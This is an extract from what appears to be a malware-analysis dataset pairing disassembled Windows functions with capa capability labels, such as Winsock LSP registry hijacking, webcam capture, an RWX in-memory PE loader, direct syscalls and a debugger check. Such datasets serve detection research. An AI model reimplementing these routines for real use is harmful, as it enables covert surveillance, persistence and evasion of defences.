joyce8/EMBER2024-capa huggingface dataset:
Function at 0x465cc0
Capabilities:
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x398
mov eax, dword [esp + 0x39c]
push esi
test eax, eax
push edi
mov esi, ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0x378
je 0x465e4b
mov ecx, dword [esp + 0x3a8]
test ecx, ecx
je 0x465e4b
mov edi, dword [esp + 0x3ac]
test edi, edi
je 0x465e4b
lea edx, [esp + 8]
push edx
push 0xf003f
push 0
push ecx
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x465e4b
mov edx, dword [esp + 8]
lea eax, [esp + 0xc]
lea ecx, [esp + 0x28]
push eax
push ecx
push 0
push 0
push str.PackedCatalogItem
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x465e0c
cmp dword [esp + 0xc], 0x378
jne 0x465e0c
lea eax, [esp + 0x28]
push eax
push edi
call fcn.00474280
add esp, 8
test eax, eax
je 0x465e2c
cmp dword [esp + 0x154], 1
jne 0x465e2c
cmp dword [esp + 0x178], 2
jne 0x465e2c
mov ecx, dword [esp + 0x150]
lea edx, [esp + 0x10]
push ecx
push 0x4d0160
push edx
call fcn.0046e458
mov eax, dword [esp + 0x18]
add esp, 0xc
lea ecx, [esp + 0x28]
lea edx, [esp + 0x10]
push 3
push str.SYSTEMCurrentControlSetServicesWinSock2ESPI11
push 0x80000002
push eax
push ecx
push edx
mov ecx, esi
call fcn.00465ba0
test eax, eax
je 0x465e0c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x28]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x28]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [esp + 8]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0xc]
push ecx
push edx
push 3
push 0
push str.PackedCatalogItem
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x465e1f
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 8]
test eax, eax
je 0x465e16
push eax
call esi
jmp 0x465e12
mov eax, dword [esp + 0x3b0]
test eax, eax
je 0x465e2c
inc dword [eax]
mov eax, dword [esp + 8]
test eax, eax
je 0x465e3b
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, 1
pop esi
add esp, 0x398
ret 0x10
pop edi
xor eax, eax
pop esi
add esp, 0x398
ret 0x10
Function at 0x465e60
Capabilities:
Persist via windows service
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x39c
mov eax, dword [esp + 0x3a0]
push esi
push edi
mov edi, ecx
test eax, eax
mov dword [esp + 8], 0
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0x378
je 0x465fcc
mov ecx, dword [esp + 0x3ac]
test ecx, ecx
je 0x465fcc
mov edx, dword [esp + 0x3b0]
test edx, edx
je 0x465fcc
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea edx, [esp + 8]
push edx
push 0xf003f
push 0
push ecx
push eax
call esi
test eax, eax
jne 0x465fcc
mov edx, dword [esp + 8]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x2c]
push eax
push ecx
push 0
push 0
push str.PackedCatalogItem
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x465fb0
cmp dword [esp + 0x10], 0x378
jne 0x465fb0
cmp dword [esp + 0x158], 1
jne 0x465fd9
cmp dword [esp + 0x17c], 2
jne 0x465fd9
mov eax, dword [esp + 0x154]
lea ecx, [esp + 0x14]
push eax
push 0x4d0160
push ecx
call fcn.0046e458
add esp, 0xc
lea edx, [esp + 0xc]
push edx
push 0x20019
push 0
push str.SYSTEMCurrentControlSetServicesWinSock2ESPI11
push 0x80000002
call esi
test eax, eax
jne 0x465fb0
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x14]
push eax
push ecx
mov ecx, edi
call fcn.00466010
test eax, eax
je 0x465fb0
mov edx, dword [esp + 0x10]
push 3
push str.SYSTEMCurrentControlSetServicesWinSock2ESPI11
push 0x80000002
lea eax, [esp + 0x38]
push edx
lea ecx, [esp + 0x24]
push eax
push ecx
mov ecx, edi
call fcn.00465b10
test eax, eax
je 0x465fb0
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 8]
lea eax, [esp + 0x2c]
push edx
push eax
push 3
push 0
push str.PackedCatalogItem
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x465fd9
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x465fc1
push eax
call esi
mov eax, dword [esp + 8]
test eax, eax
je 0x465fcc
push eax
call esi
pop edi
xor eax, eax
pop esi
add esp, 0x39c
ret 0xc
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
je 0x465fea
push eax
call esi
mov eax, dword [esp + 8]
test eax, eax
je 0x465ff5
push eax
call esi
pop edi
mov eax, 1
pop esi
add esp, 0x39c
ret 0xc
Function at 0x466010
Capabilities:
Query environment variable
Query or enumerate registry value

Disassembly:
sub esp, 0x480
mov ecx, dword [esp + 0x484]
mov dword [esp], 0x378
test ecx, ecx
je 0x4660d1
mov eax, dword [esp + 0x488]
test eax, eax
je 0x4660d1
lea edx, [esp]
push edx
lea edx, [esp + 0x10c]
push edx
push 0
push 0
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4660d1
cmp dword [esp], 0x378
jne 0x4660d1
lea eax, [esp + 4]
push 0x104
lea ecx, [esp + 0x10c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
je 0x4660d1
lea edx, [esp + 4]
push edx
call fcn.00465aa0
add esp, 4
test eax, eax
je 0x4660d1
cmp dword [esp + 0x234], 1
jne 0x4660c3
cmp dword [esp + 0x258], 2
jne 0x4660c3
lea eax, [esp + 4]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x4660d1
push str.WSPStartup
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x4660d1
mov eax, 1
add esp, 0x480
ret 8
xor eax, eax
add esp, 0x480
ret 8

Function at 0x4660e0
Capabilities:
Query environment variable

Disassembly:
sub esp, 0x104
push esi
mov esi, dword [esp + 0x10c]
test esi, esi
je 0x46613f
push esi
call fcn.00465aa0
add esp, 4
test eax, eax
je 0x46613f
lea eax, [esp + 4]
push 0x104
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
test eax, eax
je 0x46613f
lea ecx, [esp + 4]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x46613f
push str.SetPara
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
neg eax
sbb eax, eax
pop esi
neg eax
add esp, 0x104
ret 4
xor eax, eax
pop esi
add esp, 0x104
ret 4
Function at 0x4661d0
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x110
push ebx
push ebp
mov ebp, dword [esp + 0x11c]
push esi
xor esi, esi
push edi
cmp ebp, esi
mov ebx, ecx
mov dword [esp + 0x10], esi
mov dword [esp + 0x14], esi
mov dword [esp + 0x18], esi
jne 0x466204
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x110
ret 4
push ebp
mov ecx, ebx
call fcn.004660e0
test eax, eax
jne 0x46621d
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x110
ret 4
push ebp
mov ecx, ebx
call fcn.00466150
cmp eax, 1
je 0x4663aa
lea eax, [esp + 0x10]
push eax
push str.SYSTEMCurrentControlSetServicesWinSock2ParametersProtocol_Catalog9Catalog_Entries
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x466256
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x110
ret 4
mov edx, dword [esp + 0x10]
mov edi, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
lea ecx, [esp + 0x1c]
push 0x104
push ecx
push esi
push edx
call edi
test eax, eax
jne 0x4662d2
mov edx, dword [esp + 0x10]
lea eax, [esp + 0x14]
lea ecx, [esp + 0x1c]
push eax
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x466352
mov eax, dword [esp + 0x14]
push str.PackedCatalogItem
push eax
mov ecx, ebx
call fcn.00466010
mov ecx, dword [esp + 0x14]
test eax, eax
push ecx
je 0x466369
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x1c]
inc esi
push 0x104
push edx
push esi
push eax
mov dword [esp + 0x24], 0
call edi
test eax, eax
je 0x466272
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x1c]
xor esi, esi
push 0x104
push edx
push esi
push eax
mov dword [esp + 0x28], esi
call edi
test eax, eax
jne 0x466320
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x20]
push ebp
push edx
push eax
mov ecx, ebx
call fcn.00465cc0
test eax, eax
je 0x466352
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x1c]
inc esi
push 0x104
push ecx
push esi
push edx
call edi
test eax, eax
je 0x4662ee
cmp dword [esp + 0x18], 1
jb 0x466352
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
push 1
repne scasb al, byte es:[edi]
not ecx
push str.SYSTEMCurrentControlSetServicesWinSock2ESPI11
dec ecx
push 0x80000002
push ecx
push ebp
push str.FileName
mov ecx, ebx
call fcn.00465ba0
cmp eax, 1
je 0x46639b
mov eax, dword [esp + 0x10]
test eax, eax
jne 0x466379
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x110
ret 4
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [esp + 0x14], 0
jmp 0x466352
push ebp
mov ecx, ebx
call fcn.004663c0
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x110
ret 4
mov eax, dword [esp + 0x10]
test eax, eax
je 0x4663aa
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x110
ret 4
Function at 0x4663c0
Capabilities:
Query or enumerate registry key

Disassembly:
sub esp, 0x10c
push ebp
mov ebp, dword [esp + 0x114]
push esi
xor esi, esi
push edi
cmp ebp, esi
mov edi, ecx
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], 1
jne 0x4663f2
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x10c
ret 4
push esi
mov ecx, edi
call fcn.00466150
test eax, eax
jne 0x46640f
pop edi
pop esi
mov eax, 1
pop ebp
add esp, 0x10c
ret 4
lea eax, [esp + 0xc]
push eax
push str.SYSTEMCurrentControlSetServicesWinSock2ParametersProtocol_Catalog9Catalog_Entries
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x466436
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x10c
ret 4
mov edx, dword [esp + 0xc]
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
lea ecx, [esp + 0x18]
push 0x104
push ecx
push esi
push edx
call ebx
test eax, eax
jne 0x466484
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x18]
push ebp
push eax
push ecx
mov ecx, edi
call fcn.00465e60
test eax, eax
jne 0x46646d
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x18]
inc esi
push 0x104
push edx
push esi
push eax
call ebx
test eax, eax
je 0x466453
push 0
push str.SYSTEMCurrentControlSetServicesWinSock2ESPI11
push 0x80000002
mov ecx, edi
call fcn.00465c30
mov eax, dword [esp + 0x10]
pop ebx
test eax, eax
je 0x4664a7
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
add esp, 0x10c
ret 4

Function at 0x467710
Capabilities:
Capture webcam image

Disassembly:
mov eax, dword [esp + 8]
push ebx
push esi
mov esi, ecx
mov eax, dword [eax + 4]
cmp dword [esi + 0xec], 1
jne 0x4677b3
test eax, eax
jbe 0x4677b3
mov ecx, dword [esi + 0xbc]
test ecx, ecx
jle 0x4677b3
mov ecx, dword [esi + 0x1c]
push edi
push 0
push eax
push 0x419
push ecx
call dword [sym.imp.USER32.dll_SendMessageA]
mov edi, eax
mov eax, dword [esi + 0xbc]
inc edi
test eax, eax
jne 0x46775e
xor esi, esi
jmp 0x467764
mov esi, dword [esi + 0xb4]
add esi, 4
xor ebx, ebx
test edi, edi
jbe 0x46778f
push ebp
mov ebp, edi
add esi, 6
push esi
call fcn.0040bb30
add esi, eax
push esi
mov ebx, esi
call fcn.0040bb30
add esp, 8
add esi, eax
dec edi
dec ebp
jne 0x467770
pop ebp
test edi, edi
pop edi
jne 0x4677b3
test ebx, ebx
je 0x4677b3
mov edx, dword [esp + 0x10]
push 0x4e
add edx, 0x10
push ebx
push edx
call fcn.0046d4a0
add esp, 0xc
mov eax, 1
pop esi
pop ebx
ret 0xc
pop esi
xor eax, eax
pop ebx
ret 0xc
Function at 0x4678f5
Capabilities:
Capture webcam image

Disassembly:
sub esp, 0x44
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x467a0d
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x467a0d
mov eax, dword [esi + 0x3c]
push eax
call fcn.0047ea63
mov esi, eax
test esi, esi
je 0x467a0d
mov ebx, dword [esp + 0x58]
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push ebx
push 0x419
push ecx
call ebp
mov edi, eax
test edi, edi
jl 0x467a0d
mov ecx, esi
call fcn.00467860
cmp edi, eax
jge 0x467a0d
mov eax, dword [esi + 0xc4]
mov edx, dword [esi + 0xc0]
mov dword [esp + 0x2c], eax
mov eax, dword [esp + 0x5c]
xor ecx, ecx
mov dword [esp + 0x28], edx
cmp eax, ecx
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], ecx
mov dword [esp + 0x4c], ecx
mov dword [esp + 0x50], ecx
mov dword [esp + 0x38], edi
jne 0x467993
mov dword [esp + 0x34], 1
jmp 0x4679ee
mov edx, dword [esi + 0x1c]
lea ecx, [esp + 0x18]
push ecx
push ebx
push 0x433
push edx
call ebp
test eax, eax
je 0x467a0d
mov eax, dword [esp + 0x60]
mov ecx, dword [esp + 0x18]
mov edx, dword [esp + 0x24]
mov dword [esp + 0x10], ecx
mov dword [eax], 0
mov ecx, dword [esi + 0x1c]
lea eax, [esp + 0x10]
add edx, 2
push eax
push ecx
mov dword [esp + 0x1c], edx
call dword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [esp + 0x10]
mov eax, dword [esp + 0x14]
mov dword [esp + 0x34], 3
mov dword [esp + 0x3c], edx
mov dword [esp + 0x40], eax
xor ecx, ecx
push ecx
lea ecx, [esp + 0x2c]
push ecx
push 0x7d8
call fcn.00466e50
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x44
ret 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x44
ret 0xc

Function at 0x47f407
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x47f43f
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0047d4be
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.0047d496
jmp 0x47f44b
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x480afc
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x480b3e
call fcn.004867e9
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x480b3e
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x480b35
xor eax, eax
jmp 0x480b46
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00480b4c
pop edi
pop esi
pop ebx
ret 4
Function at 0x486d19
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x486d47
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x486d65
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00486c7f
jmp 0x486d65
mov eax, dword [esi + 0x14]
test eax, eax
je 0x486d65
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00486c7f
test edi, edi
mov eax, edi
jne 0x486d4f
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x1000182c
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push 0
call dword [sym.imp.MSVCRT.dll_time]
add esp, 4
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 0x8000
div ecx
mov dword [ebp - 0x1c], edx
mov edx, dword [ebp - 0x1c]
push edx
call sub.MFC42.DLL_operatornew
add esp, 4
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov ecx, 0x20
div ecx
mov dword [ebp - 0x18], edx
jmp 0x10001899
call dword [sym.imp.MSVCRT.dll_rand]
and eax, 0x8000001f
jns 0x10001891
dec eax
or eax, 0xffffffe0
inc eax
mov edx, dword [ebp - 0x18]
add edx, eax
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
cmp eax, dword [ebp - 0x1c]
jae 0x100018b9
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0xff
idiv ecx
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x18]
mov byte [eax], dl
jmp 0x1000187f
call dword [sym.imp.KERNEL32.dll_GetTickCount]
xor edx, edx
mov ecx, 5
div ecx
add edx, 3
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0x14]
push edx
call sub.MFC42.DLL_operatornew
add esp, 4
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x14]
push ecx
push 0
mov edx, dword [ebp - 0x10]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
mov dword [ebp - 8], 0
jmp 0x10001907
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x14]
sub ecx, 1
cmp dword [ebp - 8], ecx
jae 0x1000192d
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0x19
idiv ecx
add edx, 0x61
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 8]
mov byte [eax], dl
jmp 0x100018fe
mov dword [ebp - 0xc], 0
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x1000194d
xor eax, eax
jmp 0x10001993
mov edx, dword [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x20]
push eax
push 0
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0x4e20
idiv ecx
add edx, 0x64
push edx
mov edx, dword [ebp - 0x10]
push edx
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_UpdateResourceA]
mov dword [ebp - 4], eax
push 0
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
test eax, eax
jne 0x1000198e
xor eax, eax
jmp 0x10001993
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x10029082
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
cmp dword [eax + 8], 0
je 0x1002909b
xor eax, eax
jmp 0x10029218
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
mov ecx, dword [ebp - 0x24]
call fcn.100296d2
test eax, eax
jne 0x100290b6
xor eax, eax
jmp 0x10029218
mov ecx, dword [ebp - 0x24]
call fcn.10029824
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x100290ce
xor eax, eax
jmp 0x10029218
push 0x100326dc
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 8], eax
push str.VirtualAlloc
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10], eax
push 0x100326fc
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
push 0x10032708
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x18], eax
push 0x40
push 0x3000
mov eax, dword [ebp - 0xc]
push eax
push 0
call dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x10029132
xor eax, eax
jmp 0x10029218
mov ecx, dword [ebp + 8]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov ecx, dword [ebp - 0x24]
call fcn.1002990b
mov eax, dword [ebp - 0x24]
mov ecx, dword [eax + 0x10]
cmp dword [ecx + 0xa0], 0
jbe 0x1002916c
mov edx, dword [ebp - 0x24]
mov eax, dword [edx + 0x10]
cmp dword [eax + 0xa4], 0
jbe 0x1002916c
mov ecx, dword [ebp - 0x14]
push ecx
mov ecx, dword [ebp - 0x24]
call fcn.100293a6
mov edx, dword [ebp - 0x14]
push edx
mov ecx, dword [ebp - 0x24]
call fcn.10029494
test eax, eax
jne 0x10029191
push 0x8000
push 0
mov eax, dword [ebp - 0x14]
push eax
call dword [ebp - 4]
xor eax, eax
jmp 0x10029218
lea ecx, [ebp - 0x20]
push ecx
push 0x40
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x14]
push eax
call dword [ebp - 0x18]
mov ecx, dword [ebp - 0x24]
mov edx, dword [ecx + 0x10]
mov eax, dword [ebp - 0x14]
mov dword [edx + 0x34], eax
mov ecx, dword [ebp - 0x24]
mov edx, dword [ecx + 0x10]
mov eax, dword [ebp - 0x14]
add eax, dword [edx + 0x28]
mov ecx, dword [ebp - 0x24]
mov dword [ecx + 4], eax
push 0
push 1
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x24]
call dword [eax + 4]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
jne 0x10029201
push 0
push 0
mov ecx, dword [ebp - 0x14]
push ecx
mov edx, dword [ebp - 0x24]
call dword [edx + 4]
push 0x8000
push 0
mov eax, dword [ebp - 0x14]
push eax
call dword [ebp - 4]
mov ecx, dword [ebp - 0x24]
mov dword [ecx + 4], 0
xor eax, eax
jmp 0x10029218
mov edx, dword [ebp - 0x24]
mov dword [edx], 1
mov eax, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x14]
mov dword [eax + 8], ecx
mov eax, 1
mov esp, ebp
pop ebp
ret 8
Function at 0x100296d2
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push esi
mov dword [ebp - 8], ecx
cmp dword [ebp + 0xc], 0x40
jae 0x100296e9
xor eax, eax
jmp 0x100297fe
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
mov dword [eax + 0xc], ecx
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0xc]
xor ecx, ecx
mov cx, word [eax]
cmp ecx, 0x5a4d
je 0x1002970c
xor eax, eax
jmp 0x100297fe
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0x3c]
add ecx, 0xf8
cmp dword [ebp + 0xc], ecx
jae 0x10029727
xor eax, eax
jmp 0x100297fe
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0xc]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x3c]
mov edx, dword [ebp - 8]
mov dword [edx + 0x10], ecx
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x10]
cmp dword [ecx], 0x4550
je 0x1002974e
xor eax, eax
jmp 0x100297fe
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x10]
xor ecx, ecx
mov cx, word [eax + 0x16]
and ecx, 0x2000
test ecx, ecx
jne 0x1002976b
xor eax, eax
jmp 0x100297fe
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x10]
xor ecx, ecx
mov cx, word [eax + 0x16]
and ecx, 2
test ecx, ecx
jne 0x10029782
xor eax, eax
jmp 0x100297fe
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x10]
xor ecx, ecx
mov cx, word [eax + 0x14]
cmp ecx, 0xe0
je 0x1002979a
xor eax, eax
jmp 0x100297fe
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x10]
add eax, 0xf8
mov ecx, dword [ebp - 8]
mov dword [ecx + 0x14], eax
mov dword [ebp - 4], 0
jmp 0x100297bd
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 0x10]
xor edx, edx
mov dx, word [ecx + 6]
cmp dword [ebp - 4], edx
jge 0x100297f9
mov eax, dword [ebp - 4]
imul eax, eax, 0x28
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x14]
mov ecx, dword [ebp - 4]
imul ecx, ecx, 0x28
mov esi, dword [ebp - 8]
mov esi, dword [esi + 0x14]
mov edx, dword [edx + eax + 0x14]
add edx, dword [esi + ecx + 0x10]
cmp edx, dword [ebp + 0xc]
jbe 0x100297f7
xor eax, eax
jmp 0x100297fe
jmp 0x100297b4
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x40d5e9
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
cmp dword [ebp + 8], 0
jge 0x40d60b
mov eax, 0xfffffffd
jmp 0x40d6e8
mov ebx, dword [0x586290]
add ebx, 0x1c
mov dword [ebp - 4], ebx
mov ebx, dword [ebp - 4]
cmp dword [ebx], 0
je 0x40d6b6
mov ebx, dword [0x586290]
add ebx, 4
mov dword [ebp - 4], ebx
mov ebx, dword [ebp - 4]
cmp dword [ebx], 6
jne 0x40d65a
mov ebx, dword [0x586290]
add ebx, 8
mov dword [ebp - 0xc], ebx
mov ebx, dword [ebp - 0xc]
cmp dword [ebx], 2
jne 0x40d65a
mov eax, 1
jmp 0x40d65c
xor eax, eax
test eax, eax
je 0x40d688
mov eax, dword [ebp]
add eax, 0x80
mov ecx, 0x20
push dword [eax]
sub eax, 4
loop 0x40d671
mov eax, dword [ebp + 8]
call dword fs:[0xc0]
nop
nop
leave
ret 4
mov eax, dword [ebp + 8]
mov ecx, eax
and eax, 0xffff
shr ecx, 0x10
and ecx, 0xffff
mov edx, dword [ebp]
lea edx, [edx + 8]
call dword fs:[0xc0]
nop
nop
nop
nop
nop
leave
ret 4
mov ebx, dword [0x586290]
add ebx, 0x1c
mov dword [ebp - 4], ebx
mov ebx, dword [ebp - 4]
cmp dword [ebx], 0
jne 0x40d6de
mov eax, dword [ebp + 8]
mov edx, dword [ebp]
lea edx, [edx + 8]
int 0x2e
nop
leave
ret 4
mov eax, 0
jmp 0x40d6e8
mov esp, ebp
pop ebp
ret 4

Function at 0x424e2e
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0x30]
movzx eax, byte [eax + 2]
and eax, 1
leave
ret